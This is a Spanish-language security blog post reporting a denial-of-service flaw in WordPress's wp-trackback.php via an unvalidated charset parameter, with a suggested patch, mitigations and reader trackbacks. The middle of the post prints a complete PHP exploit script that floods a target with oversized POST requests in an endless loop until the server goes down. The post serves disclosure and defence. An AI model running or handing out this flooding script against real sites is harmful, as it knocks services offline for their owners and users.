Entries (RSS)
Oct 18

Denegacion de Servicio en WordPress Publicada por DragoN en Noticias Seguridad, Seguridad Web .


Jose Carlos Norte acaba de publicar en su blog, un nuevo fallo de seguridad descubierto en el popular wordpress, este fallo permite a a cualquier persona de forma sencilla dejar fuera de linea un blog con WordPress causando una denegacion de servicio.

4027319134 4ef81cac76 o Denegacion de Servicio en WordPress

El bug se encuentra en el archivo wp-trackback.php quien no valida adecuadamente la variable $charset, permitiendo ingresar una peticion POST especialmente diseñada con una cantidad indeterminada de parámetros, causando un  gran consumo de memoria y CPU hasta que estos se agoten y el servidor deja de responder.

Todas las versiones de WordPress hasta el momento son vulnerables a este fallo (y según Jose Carlos, el parche que publicaría WordPress tampoco lo soluciona), aunque dependiendo de la configuración individual de cada servidor, el problema es mayor o menor, por ejemplo un servido con mod_security, no seria vulnerable ya que  bloquearía estas peticiones mal intencionadas,  también se pueden mitigar los daños con una adecuada configuración del parámetro php_memory_limit del php.ini para evitar que tus desarrollos web utilicen mas memoria de la que en realidad necesitan, podrías también utilizar el WP-IDS un mod para Wordpress del PHPIDS (reseñado el la guía blanca de seguridad en wordpress Wordpress Security Whitepaper) el cual bloquearía no solo estas peticiones sino muchos mas problemas de seguridad.

Les dejo la solución propuesta por Jose Carlos en su blog para este problema:

Reemplazar en la linea 45 del archivo wp-trackback.php esto
$charset = $_POST['charset'];

por esto
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }

Y el exploit para verificar que somos vulnerables:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attackn”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!n”;
exit;
}
echo “unable to connect to: “.$data['host'].”n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1rn”);
fputs($fp, “Host: “.$data['host'].”rn”);
fputs($fp, “Content-type: application/x-www-form-urlencodedrn”);
fputs($fp, “Content-length: “.strlen($str).”rn”);
fputs($fp, “Connection: closernrn”);
fputs($fp, $str.”rnrn”);

echo “hit!n”;
$count++;
}

?>

Para mas informacion:
Agujero de seguridad muy grave en WordPress
Atención! BUG Wordpress
Wordpress Security Whitepaper

$charset = $_POST['charset'];

Envíale este Articulo a Tus Amigos

3 Responses to “Denegacion de Servicio en WordPress”

  1. 1
    El CoDiGo K » Ups! Nuevo fallo en WordPress Says:

    [...] conocer más sobre este fallo, te recomiendo que consultes a DragonJar y el blog de José Carlos [...]

  2. 2
    ElPlog.com – V4.0 » Fallo de seguridad en Wordpress Says:

    [...] | DragonJar.org | José Carlos [...]

  3. 3
    Realizaron Hardening a WordPress, Descarga la nueva versión 2.8.5 -- Insecurity.cl Says:

    [...] Arreglaron el error del archivo wp-trackback.php que permitía una Denegacion de Servicio en WordPress [...]

Leave a Reply


  • Acerca de…

    DragonJAR.org es una comunidad de investigadores, estudiantes, profesionales y entusiastas de la Seguridad Informática, En la cual se busca darle un enfoque eminentemente práctico a la teoría sin olvidar las bases esenciales de esta. De esta manera se Tratará de ofrecer soluciones útiles a los usuarios, tanto novatos, estudiantes, como a los profesionales e investigadores, Teniendo presente que el mundo de la seguridad informática y la información es un medio que se auto inventa constantemente.